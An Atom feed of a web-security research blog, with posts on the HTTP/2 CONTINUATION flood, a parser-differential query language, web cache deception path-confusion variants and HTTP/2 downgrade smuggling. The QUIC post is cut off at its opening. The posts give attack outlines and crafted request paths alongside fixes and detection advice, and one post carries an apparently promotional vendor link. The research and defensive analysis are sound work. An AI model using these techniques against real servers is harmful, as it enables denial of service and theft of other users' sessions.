<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://blog.zeddyu.info/feed.xml" rel="self" type="application/atom+xml" /><link href="https://blog.zeddyu.info/" rel="alternate" type="text/html" /><updated>2026-09-16T10:07:36+00:00</updated><id>https://blog.zeddyu.info/feed.xml</id><title type="html">ZeddYu’s Blog</title><subtitle>Security Research &amp; CTF Writeups</subtitle><author><name>ZeddYu</name></author><entry><title type="html">The HTTP/2 CONTINUATION Flood: When Implementations Disagreed About Where to Count</title><link href="https://blog.zeddyu.info/2026/09/14/HTTP2-Continuation-Flood/" rel="alternate" type="text/html" title="The HTTP/2 CONTINUATION Flood: When Implementations Disagreed About Where to Count" /><published>2026-09-14T00:00:00+00:00</published><updated>2026-09-14T00:00:00+00:00</updated><id>https://blog.zeddyu.info/2026/09/14/HTTP2-Continuation-Flood</id><content type="html" xml:base="https://blog.zeddyu.info/2026/09/14/HTTP2-Continuation-Flood/"><![CDATA[<p>Most of the protocol bugs I find interesting live in the same place: the spec describes what a valid message looks like, leaves one operational detail implicit, and two conforming implementations fill that detail in differently. <a href="/2026/05/16/Revisiting-HTTP-Smuggling-2026/">Request smuggling</a> is the boundary-of-a-message version of that. The HTTP/2 CONTINUATION flood, disclosed in 2024 by Bartek Nowotarski and coordinated through CERT/CC as <a href="https://kb.cert.org/vuls/id/421644">VU#421644</a>, is the same shape moved one layer down, into how a header block is framed. The implicit detail this time is not where a request ends. It is <em>when</em> you are allowed to stop trusting the client.</p>

<h2 id="how-http2-frames-a-header-block">How HTTP/2 frames a header block</h2>

<p>In HTTP/2 a request’s header fields do not arrive in one piece. They arrive as a <code class="language-plaintext highlighter-rouge">HEADERS</code> frame, optionally followed by any number of <code class="language-plaintext highlighter-rouge">CONTINUATION</code> frames, and the sequence is terminated by an <code class="language-plaintext highlighter-rouge">END_HEADERS</code> flag on the last frame in the run. <a href="https://www.rfc-editor.org/rfc/rfc9113#section-6.10">RFC 9113 Section 6.10</a> is explicit that CONTINUATION frames carry a fragment of the field block and that the run continues until a frame sets <code class="language-plaintext highlighter-rouge">END_HEADERS</code>. The receiver has to buffer every fragment, because the whole thing is one HPACK-compressed field block and you cannot decode it until you have it.</p>

<p>There is a size control for this. <code class="language-plaintext highlighter-rouge">SETTINGS_MAX_HEADER_LIST_SIZE</code> (<a href="https://www.rfc-editor.org/rfc/rfc9113#section-6.5.2">RFC 9113 Section 6.5.2</a>) lets an endpoint advertise the largest field list it is willing to process. The spec describes it as an advisory limit on the uncompressed size of the header list. What the spec does not say, in so many words, is at which moment the receiver must enforce it. That omission is the whole vulnerability.</p>

<h2 id="the-flood">The flood</h2>

<p>The attack is almost embarrassingly small to describe:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Step 1: open a stream, send a HEADERS frame, do NOT set END_HEADERS.
Step 2: send a CONTINUATION frame. Do not set END_HEADERS.
Step 3: send another CONTINUATION frame. Do not set END_HEADERS.
Step 4: keep going. Never set END_HEADERS.
</code></pre></div></div>

<p>The server is now holding a header block that never closes. If it accumulates fragments into a buffer and only checks the field-list size when the block is complete, that check never runs, because the attacker never completes the block. Memory climbs, or CPU burns on repeated HPACK state updates, and one cheap connection can pressure the whole process. A handful of these in parallel is a denial of service that costs the attacker almost nothing to mount.</p>

<p>The part I find worth dwelling on is the second-order effect. A normal request-flood at least produces requests, which produce log lines. The CONTINUATION flood produces no completed request on the affected path, because the request never finishes parsing. On several stacks that meant the traffic did not show up in access logs at all. The attack was not just cheap; on some servers it was quiet, which is the property that makes a denial of service worth studying rather than just patching.</p>

<h2 id="where-the-implementations-disagreed">Where the implementations disagreed</h2>

<p>This is the interesting layer, and it is the reason one disclosure produced a long list of CVEs across unrelated codebases at once. Every affected server was reading the same RFC. They diverged on a single design decision: enforce the header-list limit <em>incrementally, as each fragment arrives</em>, or enforce it <em>once, when the block is complete</em>.</p>

<ul>
  <li>An implementation that counts as it goes rejects the connection the moment the accumulated fragments cross the limit. The flood dies after a bounded amount of data. Safe.</li>
  <li>An implementation that counts at completion has written code that is correct for every well-formed request and never runs its own check against a request that is deliberately never completed. Vulnerable.</li>
</ul>

<p>Both readings are defensible from the text. The spec talks about the size of “the header list,” which is a thing you have after decoding, and decoding happens after the block is complete, so “check at completion” is a natural reading. It is also the dangerous one, because it ties the safety check to an event the attacker controls and can simply withhold. The coordinated advisory named implementations across the ecosystem for exactly this reason. <a href="https://nvd.nist.gov/vuln/detail/CVE-2024-27316">Apache httpd’s CVE-2024-27316</a> was the memory-exhaustion instance of it; the <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45288">Go net/http and x/net/http2 fix</a> addressed the same class; Node.js, Envoy, and several others shipped their own versions of the same correction in the same window.</p>

<h2 id="the-fix-and-why-it-is-the-same-fix-as-always">The fix, and why it is the same fix as always</h2>

<p>Every patch converged on the same idea: stop deferring the check to a moment the client controls. Concretely, three things, usually together:</p>

<ol>
  <li>Enforce <code class="language-plaintext highlighter-rouge">SETTINGS_MAX_HEADER_LIST_SIZE</code> against the running total of decoded fields <em>during</em> accumulation, not after <code class="language-plaintext highlighter-rouge">END_HEADERS</code>, and fail the stream or connection the instant it is exceeded.</li>
  <li>Cap the number of CONTINUATION frames, or the total header-block octets, that will be accepted before <code class="language-plaintext highlighter-rouge">END_HEADERS</code>, independent of the field-list limit.</li>
  <li>Treat an oversized or over-long header block as a connection error, not a stream error, since a client abusing this is not going to behave better on the next stream.</li>
</ol>

<p>That is the same principle that eventually tamed request smuggling, restated for the framing layer: do not let one side of a trust boundary defer a safety decision to input the other side fully controls. Smuggling happened because the front end and back end disagreed about where a message ended. The CONTINUATION flood happened because a single server disagreed <em>with itself</em> about when a limit applied, checking at a point the attacker could push out to infinity.</p>

<h2 id="why-this-keeps-happening">Why this keeps happening</h2>

<p>I keep coming back to how ordinary the root cause is. Nobody misread the RFC. The RFC specified a limit and left the enforcement moment to the implementer, and reasonable implementers chose the reading that is clean for valid traffic and unsafe for adversarial traffic. The whole class of framing-layer denial of service in HTTP/2 (this, the earlier reset-stream floods, the header-table games) comes down to the same gap between “what a conforming message looks like” and “what an endpoint must do when a client sends conforming fragments forever.” A spec that only describes valid messages will keep producing this, because the security-relevant behavior is in the handling of the incomplete and the malicious, which is exactly the part a message-format specification tends not to nail down.</p>

<p>The lesson for anyone reading protocol code is small and repeatable. When you find a limit in a spec, do not ask whether the implementation enforces it. Ask <em>when</em> it enforces it, and then ask what happens if the client never reaches that moment. The <a href="/2026/08/18/Web-Cache-Deception-Path-Confusion-2026/">web cache deception</a> work was the same question asked about path parsing. Here it is asked about a counter. The answer is worth checking every time, because “at the end” and “as you go” look identical until someone declines to send you the end.</p>]]></content><author><name>ZeddYu</name></author><category term="research" /><category term="http2" /><category term="continuation-flood" /><category term="parsing-differentials" /><category term="dos" /><category term="protocol-security" /><summary type="html"><![CDATA[Most of the protocol bugs I find interesting live in the same place: the spec describes what a valid message looks like, leaves one operational detail implicit, and two conforming implementations fill that detail in differently. Request smuggling is the boundary-of-a-message version of that. The HTTP/2 CONTINUATION flood, disclosed in 2024 by Bartek Nowotarski and coordinated through CERT/CC as VU#421644, is the same shape moved one layer down, into how a header block is framed. The implicit detail this time is not where a request ends. It is when you are allowed to stop trusting the client.]]></summary></entry><entry><title type="html">A query language for HTTP traffic: what it would look like, and why nobody has built it</title><link href="https://blog.zeddyu.info/2026/09/02/A-Query-Language-For-HTTP-Traffic/" rel="alternate" type="text/html" title="A query language for HTTP traffic: what it would look like, and why nobody has built it" /><published>2026-09-02T00:00:00+00:00</published><updated>2026-09-02T00:00:00+00:00</updated><id>https://blog.zeddyu.info/2026/09/02/A-Query-Language-For-HTTP-Traffic</id><content type="html" xml:base="https://blog.zeddyu.info/2026/09/02/A-Query-Language-For-HTTP-Traffic/"><![CDATA[<p>We have a declarative query language for almost every artifact a defender looks at, except the one this blog spends most of its time on. YARA matches on files. <a href="https://github.com/SigmaHQ/sigma">Sigma</a> matches on log events. Suricata and Snort match on packets and reassembled streams. <a href="https://zeek.org/">Zeek</a> turns traffic into typed events you can write scripts against. Wireshark’s display filters let you ask precise questions of a capture after the fact. Every one of these is mature, widely deployed, and useful.</p>

<p>None of them can express the thing I actually want to ask, which is whether two HTTP parsers disagree about where a request ends.</p>

<p>That is the whole class. <a href="/2026/05/16/Revisiting-HTTP-Smuggling-2026/">Request smuggling</a> is a front-end and a back-end disagreeing about message boundaries. <a href="/2026/08/18/Web-Cache-Deception-Path-Confusion-2026/">Web cache deception</a> is a cache and an origin disagreeing about where the meaningful path ends. Both are parser differentials, and the primitive you want to detect is not a byte pattern. It is a disagreement. I keep running into the fact that the tools I would reach for cannot represent a disagreement, because each of them runs exactly one parser.</p>

<h2 id="what-one-parser-can-and-cannot-say">What one parser can and cannot say</h2>

<p>Take the canonical CL.TE case. A request carries both <code class="language-plaintext highlighter-rouge">Content-Length</code> and <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code>, the front-end honours one, the back-end honours the other, and the tail of the body becomes the head of the next request in the pipeline.</p>

<p>A Suricata rule can match “a request contains both a Content-Length header and a Transfer-Encoding header.” That is a real signal and people write that rule. But it is a proxy for the actual condition, and it is a bad proxy in both directions. It fires on requests that are perfectly safe because both ends agree to strip <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> per RFC 9112 Section 6.1. It misses the requests that matter, where the ambiguity is not two headers present but one header made invisible to one parser: a bare <code class="language-plaintext highlighter-rouge">\n</code> before <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>, a space in <code class="language-plaintext highlighter-rouge">Content-Length : 5</code>, an obsolete line fold, a smuggled second <code class="language-plaintext highlighter-rouge">Content-Length</code> inside a value. James Kettle’s original 2019 work and everything since is a catalogue of ways to make one parser see a header that the other one does not. The presence of the header string is not the bug. The bug is that two implementations read the same bytes and produce different messages.</p>

<p>To detect that, you would have to run both implementations and compare. No single-parser matcher can do it, no matter how clever the regular expression, because the property is not a property of the bytes. It is a property of the relationship between two parse results over the same bytes.</p>

<h2 id="the-atoms-of-a-language-that-could">The atoms of a language that could</h2>

<p>If I were designing the language, the primitive type would not be a byte string. It would be a parse result. Concretely, the atoms are:</p>

<ol>
  <li><strong>A raw octet sequence.</strong> The bytes on the wire, unmodified, including the framing characters that every existing tool normalises away before you get to see them. <code class="language-plaintext highlighter-rouge">\r</code>, <code class="language-plaintext highlighter-rouge">\n</code>, and their absence are data here, not formatting.</li>
  <li><strong>A named parser applied to those bytes</strong>, producing a structured message: a method, a target, an ordered list of header fields with their exact original spelling, and a body with an explicit length and an explicit “how the length was determined” tag.</li>
  <li><strong>A comparison across two parse results</strong> of the same octet sequence.</li>
</ol>

<p>With those three, the smuggling condition writes itself. In pseudo-syntax:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rule cl_te_desync {
    input: raw_request R

    parse P_front = parser("nginx-like", R)
    parse P_back  = parser("gunicorn-like", R)

    condition:
        P_front.body_length_source == "content-length"
        and P_back.body_length_source == "transfer-encoding"
        and P_front.body_end_offset != P_back.body_end_offset
}
</code></pre></div></div>

<p>The condition is the literal definition of the vulnerability: the two ends decided the body ends in two different places. Not “both headers are present.” The bytes that trigger this are exactly the bytes that are dangerous, and the bytes that are safe do not trigger it, because a safe request produces one agreed boundary and the offsets match. Every obfuscation trick that hides a header from one parser is caught for free, because the language never looks at the header spelling. It looks at what each parser did with it.</p>

<p>The same shape covers the cache case. Two parsers, one is the cache’s path-to-cache-key function and one is the origin’s route matcher, and the condition is that they split the path at different offsets while the response carries a <code class="language-plaintext highlighter-rouge">Set-Cookie</code>. Same structure, different pair of parsers, different oracle.</p>

<h2 id="why-nobody-has-built-it">Why nobody has built it</h2>

<p>The design is not the hard part. The reason this does not exist is the same reason the bugs exist, which I find genuinely funny in a way that does not help me.</p>

<p>The value of the language comes entirely from the parsers being real. A rule is only true if <code class="language-plaintext highlighter-rouge">parser("nginx-like")</code> actually parses the way a given nginx version parses, down to the handling of a bare <code class="language-plaintext highlighter-rouge">\n</code> and an over-long chunk extension and a duplicated header. A model of nginx is worthless here; you need nginx’s behaviour, at the version the target runs, including its bugs, because its bugs are the whole point. So a serious implementation is a harness that embeds a collection of real HTTP parsers, or faithful reimplementations tracked against them, and keeps them current as they change. That is a heavy, permanent maintenance burden, and it is heaviest exactly where the language is most useful, which is the long tail of proxies and origins nobody has modelled.</p>

<p>There is a second reason, quieter. The existing tools live at fixed points in the stack where you get one view of the traffic. An inline IDS sees the stream as its own TCP reassembler framed it, which is already one parser’s opinion, and it cannot retroactively see the bytes as the back-end will frame them because the back-end is downstream and has not run yet. A log-based tool like Sigma sees the request only after some server already parsed it into fields, so the disagreement has been collapsed before the event was written. The place where you can see the raw octets <em>and</em> apply two parsers of your choice is a research harness with the full byte stream in hand, the kind of setup built around <a href="https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn">Kettle’s desync research</a> and the manual work that surrounds it, not a deployed detection sensor. The language wants a vantage point that production monitoring does not have.</p>

<h2 id="what-it-is-actually-good-for">What it is actually good for</h2>

<p>I do not think the answer is a new inline sensor. The vantage-point problem makes that a poor fit, and I would rather be honest about that than pretend a design essay is a product.</p>

<p>Where a language like this would earn its cost is offline, over corpora, in two jobs the current tooling does badly. The first is regression testing your own stack: take the raw requests from a smuggling test suite, run your real front-end and back-end parsers over each, and assert that their boundaries agree. That is a CI check for “did a proxy upgrade just reintroduce a desync,” and it is expressible in this language and awkward in any existing one. The second is triage of research corpora. When you have thousands of captured request variants from fuzzing a proxy pair, the question “which of these produce a boundary disagreement” is the entire result, and today it is answered with one-off scripts that rebuild the same two-parser comparison every time.</p>

<p>Both of those are the parser-differential idea pointed at defence instead of offence, which is a direction I think the smuggling research has been slow to take. We have spent seven years getting very good at finding the bytes that make two parsers disagree. We have spent almost none of that effort on a shared vocabulary for asserting that two parsers agree, which is the thing a defender actually wants to be able to state and check.</p>

<p>I have not built this, and this post is a design sketch rather than a release. The two hard parts, embedding faithful parsers and finding a vantage point with the raw octets, are real and I do not want to wave them away. But the atoms are right, I am fairly sure of that: the primitive type has to be a parse result, and the operator that matters is comparison across two of them over the same bytes. Any tool that keeps treating an HTTP request as a byte string to pattern-match will keep being unable to say the one thing about it that a smuggling researcher most wants to say.</p>]]></content><author><name>ZeddYu</name></author><category term="research" /><category term="http" /><category term="request-smuggling" /><category term="parsing-differentials" /><category term="detection-engineering" /><category term="tooling" /><summary type="html"><![CDATA[We have a declarative query language for almost every artifact a defender looks at, except the one this blog spends most of its time on. YARA matches on files. Sigma matches on log events. Suricata and Snort match on packets and reassembled streams. Zeek turns traffic into typed events you can write scripts against. Wireshark’s display filters let you ask precise questions of a capture after the fact. Every one of these is mature, widely deployed, and useful.]]></summary></entry><entry><title type="html">Web Cache Deception in 2026: The Path-Confusion Variants That Still Work</title><link href="https://blog.zeddyu.info/2026/08/18/Web-Cache-Deception-Path-Confusion-2026/" rel="alternate" type="text/html" title="Web Cache Deception in 2026: The Path-Confusion Variants That Still Work" /><published>2026-08-18T00:00:00+00:00</published><updated>2026-08-18T00:00:00+00:00</updated><id>https://blog.zeddyu.info/2026/08/18/Web-Cache-Deception-Path-Confusion-2026</id><content type="html" xml:base="https://blog.zeddyu.info/2026/08/18/Web-Cache-Deception-Path-Confusion-2026/"><![CDATA[<p>Most of the parser-differential work on this blog has been about two servers on one connection disagreeing over where a request ends. <a href="/2026/05/16/Revisiting-HTTP-Smuggling-2026/">Request smuggling</a> is the canonical case. But the same underlying bug, two parties parsing one string differently, shows up anywhere two systems interpret a URL and only one of them makes a security decision from it. The clearest non-smuggling example is <a href="https://portswigger.net/web-security/web-cache-deception">web cache deception</a>, and despite being nine years old it is still live on real infrastructure in 2026, for reasons that are structural rather than incidental.</p>

<h2 id="the-original-trick-restated-as-a-parser-differential">The original trick, restated as a parser differential</h2>

<p>Omer Gil’s 2017 “Web Cache Deception” attack is usually explained as a caching bug. It is more precisely a disagreement between two parsers. The victim is sent a URL like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://site.example/account/settings/nonexistent.css
</code></pre></div></div>

<p>The origin routes this to the <code class="language-plaintext highlighter-rouge">account/settings</code> handler and ignores the trailing <code class="language-plaintext highlighter-rouge">/nonexistent.css</code>, so it returns the victim’s authenticated account page. The cache in front of the origin makes a different decision: it sees a path ending in <code class="language-plaintext highlighter-rouge">.css</code>, concludes the response is a static asset, and stores it. The attacker then requests the same URL and is served the victim’s cached account page.</p>

<p>Nothing here is a caching bug in isolation, and nothing is a routing bug in isolation. The vulnerability is the delta between the origin’s parser (which treats the path as <code class="language-plaintext highlighter-rouge">account/settings</code> plus ignored trailing junk) and the cache’s parser (which treats the same path as “a thing ending in <code class="language-plaintext highlighter-rouge">.css</code>”). That is the identical shape as a CL/TE desync, moved from the connection layer to the caching layer.</p>

<h2 id="why-it-survived-nine-years">Why it survived nine years</h2>

<p>The 2020 USENIX study “Cached and Confused” measured this class in the wild and found it widespread; the surprising part in 2026 is how little changed. The reason is that the two decisions genuinely live in two different systems with two different design goals, and neither one is obviously wrong on its own:</p>

<ul>
  <li>The <strong>cache</strong> wants to be cheap and fast, so it decides cacheability with a heuristic on the path: static-looking extensions, or a static path prefix. It usually does not consult the origin’s routing logic, because that would defeat the point of caching.</li>
  <li>The <strong>origin</strong> framework wants to be forgiving, so it routes on the meaningful part of the path and tolerates trailing segments, path parameters, and encoded characters that the developer never thinks about as security-relevant.</li>
</ul>

<p>Fixing it requires the two systems to agree on how the path is parsed, and they are built by different vendors, deployed by different teams, and tuned for different things. That is exactly why request smuggling persisted too. Agreement across a trust boundary is the hard part; each side in isolation looks fine.</p>

<h2 id="the-2026-variants-worth-testing">The 2026 variants worth testing</h2>

<p>The plain <code class="language-plaintext highlighter-rouge">.css</code> suffix is patched on the obvious targets now, usually by the cache being taught not to cache authenticated responses regardless of extension. What still works are the variants that exploit a finer-grained parsing disagreement, where the cache and origin split the path at a different point:</p>

<ol>
  <li><strong>Delimiter discrepancies.</strong> The origin treats <code class="language-plaintext highlighter-rouge">;</code>, or a path parameter, or an encoded <code class="language-plaintext highlighter-rouge">%3F</code> as ending the meaningful path; the cache does not, or vice versa. <code class="language-plaintext highlighter-rouge">GET /account/settings;x.css</code> can route to <code class="language-plaintext highlighter-rouge">account/settings</code> at the origin while the cache keys and caches the whole string as static.</li>
  <li><strong>Encoded-slash disagreement.</strong> <code class="language-plaintext highlighter-rouge">%2F</code> is where a lot of these live. If the cache decodes <code class="language-plaintext highlighter-rouge">%2F</code> before pattern-matching and the origin does not, or the reverse, the two see different path structures for the same bytes.</li>
  <li><strong>Newline and null truncation in the cache key.</strong> A cache that truncates its key at <code class="language-plaintext highlighter-rouge">%0A</code> or <code class="language-plaintext highlighter-rouge">%00</code> while the origin serves the full path lets an attacker cache a sensitive response under a key the victim’s own requests will also hit.</li>
</ol>

<p>Every one of these is a controlled experiment: send the same crafted path through the stack, capture what the origin returns and whether the cache stored it, and vary one delimiter at a time. The methodology is the one from the smuggling work, just with “did the cache store an authenticated response” as the oracle instead of “did the next request get poisoned.”</p>

<h2 id="detection-and-the-actual-fix">Detection and the actual fix</h2>

<p>The robust fix is the same principle that eventually tamed smuggling: stop inferring, start agreeing. Concretely, the cache should cache a response only when the origin explicitly authorises it through <code class="language-plaintext highlighter-rouge">Cache-Control</code>, rather than guessing from the URL’s extension. An origin that returns <code class="language-plaintext highlighter-rouge">Cache-Control: no-store</code> on every authenticated response closes the whole class regardless of how the path is parsed, because the cache no longer has a decision to get wrong. Where extension-based caching is unavoidable, the cache and origin must share one normalisation library so that <code class="language-plaintext highlighter-rouge">%2F</code>, path parameters, and trailing segments resolve identically on both sides before either makes a decision.</p>

<p>On the defensive-monitoring side, the signal is a cache storing a response that carries a <code class="language-plaintext highlighter-rouge">Set-Cookie</code> or an authenticated body, keyed under a static-looking path. That combination should never happen and is cheap to alert on.</p>

<p>Web cache deception is not a clever edge case that will be designed away. It is the caching layer’s version of the same disagreement that request smuggling exploits at the connection layer, and it will keep working for exactly as long as caches and origins are allowed to parse the same URL differently.</p>]]></content><author><name>ZeddYu</name></author><category term="research" /><category term="web-cache-deception" /><category term="cache-poisoning" /><category term="parsing-differentials" /><category term="cdn" /><category term="web-security" /><summary type="html"><![CDATA[Most of the parser-differential work on this blog has been about two servers on one connection disagreeing over where a request ends. Request smuggling is the canonical case. But the same underlying bug, two parties parsing one string differently, shows up anywhere two systems interpret a URL and only one of them makes a security decision from it. The clearest non-smuggling example is web cache deception, and despite being nine years old it is still live on real infrastructure in 2026, for reasons that are structural rather than incidental.]]></summary></entry><entry><title type="html">HTTP/2 Downgrade Attacks Against ALB-Style Reverse Proxies: Where the Desync Actually Lives</title><link href="https://blog.zeddyu.info/2026/07/06/HTTP2-Downgrade-ALB-Style-Reverse-Proxies/" rel="alternate" type="text/html" title="HTTP/2 Downgrade Attacks Against ALB-Style Reverse Proxies: Where the Desync Actually Lives" /><published>2026-07-06T00:00:00+00:00</published><updated>2026-07-06T00:00:00+00:00</updated><id>https://blog.zeddyu.info/2026/07/06/HTTP2-Downgrade-ALB-Style-Reverse-Proxies</id><content type="html" xml:base="https://blog.zeddyu.info/2026/07/06/HTTP2-Downgrade-ALB-Style-Reverse-Proxies/"><![CDATA[<p>The 2019 request-smuggling work on this blog, the <a href="/2019/12/08/HTTP-Smuggling-en/">CL.TE / TE.CL / TE.TE matrix</a>, was about HTTP/1.1 disagreeing with itself. Two servers on one connection, one honouring <code class="language-plaintext highlighter-rouge">Content-Length</code>, the other honouring <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>, and a request boundary hidden inside the disagreement. HTTP/2 was supposed to end that. It mostly did, on paper. The frame carries its own length, so there is nothing for two parties to disagree about.</p>

<p>Then James Kettle published <a href="https://portswigger.net/research/http2">HTTP/2: The Sequel is Always Worse</a> in 2021, and the answer turned out to be that the disagreement did not disappear, it moved. It moved to the point where an HTTP/2 front-end re-serialises a request into HTTP/1.1 for a back-end that never spoke HTTP/2. Five years on, that downgrade boundary is still where the desync lives, and the ALB-style terminator is still the cleanest example of why. This post is an analysis of that class, building on Kettle’s published results rather than a fresh cross-vendor table.</p>

<h2 id="why-the-downgrade-re-creates-the-bug-http2-removed">Why the downgrade re-creates the bug HTTP/2 removed</h2>

<p>On a pure HTTP/2 path the message length is unambiguous. The problem is that most back-ends do not speak HTTP/2. The common deployment is a front-end (a cloud load balancer, a CDN edge) that terminates HTTP/2 from the client and forwards HTTP/1.1 to the origin. The moment it does that, the back-end loses access to the HTTP/2 frame length and has to fall back on the only length signals HTTP/1.1 has: <code class="language-plaintext highlighter-rouge">Content-Length</code> and <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>.</p>

<p>So the front-end has to decide what length headers to emit when it downgrades. If it forwards a <code class="language-plaintext highlighter-rouge">Content-Length</code> or <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> that the client put in the HTTP/2 request, the client controls the back-end’s idea of where the request ends, and we are back in 2019 with extra steps. <a href="https://www.rfc-editor.org/rfc/rfc9113#section-8.2.2">RFC 9113 Section 8.2.2</a> is explicit that connection-specific header fields, <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> among them, make an HTTP/2 message malformed and must be rejected. The whole attack class is front-ends that do not enforce that rule before they downgrade.</p>

<h2 id="h2te">H2.TE</h2>

<p>The first primitive is H2.TE. The attacker sends an HTTP/2 request carrying <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code>. A conformant front-end rejects the message as malformed per RFC 9113. A non-conformant one forwards the header into the downgraded HTTP/1.1 request, the back-end sees <code class="language-plaintext highlighter-rouge">Transfer-Encoding: chunked</code> and parses the body as chunked, and the front-end has already decided where the body ends using the HTTP/2 frame length. The two boundaries differ.</p>

<p>Kettle’s result here is the one worth remembering: AWS Application Load Balancer accepted <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code> on HTTP/2 requests, which meant almost every site sitting behind an ALB was exploitable through an H2.TE desync. That is not an obscure appliance. That is a default building block of a large fraction of the modern web, failing the single validation step the specification requires.</p>

<h2 id="h2cl">H2.CL</h2>

<p>The second primitive is H2.CL, and it is the mirror image. The attacker sends an HTTP/2 request with a <code class="language-plaintext highlighter-rouge">Content-Length</code> that does not match the actual frame body. The front-end forwards that <code class="language-plaintext highlighter-rouge">Content-Length</code> verbatim into the HTTP/1.1 request. The back-end trusts it, because on HTTP/1.1 the <code class="language-plaintext highlighter-rouge">Content-Length</code> is authoritative, and reads either too many or too few bytes. Whatever is left over becomes the prefix of the next request on that connection.</p>

<p>There is a degenerate case of this that is worse than it sounds. If the front-end forwards no length at all, or the back-end assumes a <code class="language-plaintext highlighter-rouge">Content-Length</code> that was never really there, you get the CL.0 family. Kettle demonstrated exactly this against amazon.com, where a request to one path ignored the <code class="language-plaintext highlighter-rouge">Content-Length</code>, and a proof of concept quietly captured other live users’ full requests, session tokens included. The primitive is boring. The blast radius is not.</p>

<h2 id="the-binary-layer-hides-a-line-based-weapon">The binary layer hides a line-based weapon</h2>

<p>There is a third route that is specific to the downgrade and has no HTTP/1.1 equivalent. HTTP/2 header fields are binary and length-prefixed, so a header value containing a raw <code class="language-plaintext highlighter-rouge">\r\n</code> is structurally legal inside HTTP/2. It is meaningless there. It stops being meaningless the instant a front-end serialises that field into line-based HTTP/1.1, because now the <code class="language-plaintext highlighter-rouge">\r\n</code> is a real header boundary, or a real request-line boundary. A field value becomes an injected header; a crafted <code class="language-plaintext highlighter-rouge">:path</code> or <code class="language-plaintext highlighter-rouge">:authority</code> pseudo-header becomes a smuggled request line. RFC 9113 requires rejecting these too. Downgraders that pass field values through without validating for CR and LF turn a legal HTTP/2 request into an illegal HTTP/1.1 one, on the wire, for free.</p>

<h2 id="the-alb-style-pattern-generalises">The ALB-style pattern generalises</h2>

<p>Name the vendor whatever you like; the shape is the interesting part. Any HTTP/2-terminating front-end that re-serialises to HTTP/1.1 without fully enforcing RFC 9113 at ingress is a candidate. This is the same conclusion the <a href="/2026/07/01/QUIC-HTTP3-Request-Smuggling-First-Look/">QUIC and HTTP/3 first look</a> reached from the other end of the protocol timeline: the request-smuggling threat model does not attach to a protocol version, it attaches to the translation layer between versions, and that layer is a parser most operators do not think of as a parser. The load balancer is not on anyone’s list of things to fuzz. It should be.</p>

<h2 id="what-operators-actually-do-about-it">What operators actually do about it</h2>

<p>The frustrating part of this class is that it is close to invisible from inside the application. The smuggled prefix lands on a different user’s request, on a connection the app never sees as anomalous, so the application logs look clean while another user’s session is being stored in an attacker’s shopping cart. The signal, when there is one, is at the traffic and request layer: response-to-request mismatches, unexpected request prefixes, a back-end answering a stream it was not asked about. Default WAF signatures and out-of-the-box SIEM rules do not catch this, because there is no payload to match; the exploit is a length disagreement, not a string. Catching it is detection-engineering work at the HTTP layer, the kind of custom request-level monitoring that teams either build in-house or hand to a managed detection provider such as <a href="https://falconersecurity.com/blog/detection-engineering-sentinel/">falconersecurity.com</a> when they do not have the request-layer telemetry to write those detections themselves. Either way the detections have to be written; the <a href="https://portswigger.net/research/http1-must-die">PortSwigger research</a> and <a href="https://www.rfc-editor.org/rfc/rfc9113#section-8.2.2">RFC 9113</a> between them describe exactly what a correct request should and should not look like, which is where the rules come from.</p>

<p>The controls that actually close it are at the front-end. Reject HTTP/2 messages carrying <code class="language-plaintext highlighter-rouge">Transfer-Encoding</code>. Validate <code class="language-plaintext highlighter-rouge">Content-Length</code> against the frame length and drop the header rather than forwarding it. Reject field values and pseudo-headers containing CR or LF. None of these is new; all of them are in the specification. The <a href="/2026/05/16/Revisiting-HTTP-Smuggling-2026/">2026 re-test on this blog</a> found that most mainstream front-ends have finally implemented them, which is progress. The ones that have not are the ones still downgrading in 2026 as if the frame length travels with the request. It does not.</p>

<h2 id="the-through-line">The through-line</h2>

<p>Kettle’s framing was that the sequel is always worse, and the reason it holds is structural. Every new transport removes the previous generation’s ambiguity and then hands a translation layer the job of faithfully reproducing a request in the older, messier format. The ambiguity comes back at the seam. HTTP/1.1 will not die on schedule, and as long as it is the back-end language that HTTP/2 and HTTP/3 front-ends translate into, the downgrade is where the requests will keep going missing.</p>]]></content><author><name>ZeddYu</name></author><category term="research" /><category term="http2" /><category term="downgrade" /><category term="desync" /><category term="http-smuggling" /><category term="reverse-proxy" /><category term="parsing-differentials" /><category term="web-security" /><summary type="html"><![CDATA[The 2019 request-smuggling work on this blog, the CL.TE / TE.CL / TE.TE matrix, was about HTTP/1.1 disagreeing with itself. Two servers on one connection, one honouring Content-Length, the other honouring Transfer-Encoding, and a request boundary hidden inside the disagreement. HTTP/2 was supposed to end that. It mostly did, on paper. The frame carries its own length, so there is nothing for two parties to disagree about.]]></summary></entry><entry><title type="html">QUIC and HTTP/3 Request Smuggling: A First Look at Stream-Multiplexing Desync Primitives</title><link href="https://blog.zeddyu.info/2026/07/01/QUIC-HTTP3-Request-Smuggling-First-Look/" rel="alternate" type="text/html" title="QUIC and HTTP/3 Request Smuggling: A First Look at Stream-Multiplexing Desync Primitives" /><published>2026-07-01T00:00:00+00:00</published><updated>2026-07-01T00:00:00+00:00</updated><id>https://blog.zeddyu.info/2026/07/01/QUIC-HTTP3-Request-Smuggling-First-Look</id><content type="html" xml:base="https://blog.zeddyu.info/2026/07/01/QUIC-HTTP3-Request-Smuggling-First-Look/"><![CDATA[<p>This is a first look, not a results table. I have spent most of my writing on this blog on HTTP/1.1 request smuggling and, more recently, on the HTTP/2 downgrade desync surface that James Kettle opened up in <a href="https://portswigger.net/research/http2">HTTP/2: The Sequel is Always Worse</a>. The obvious next question, and one I get asked often, is whether any of this survives the move to HTTP/3. Does 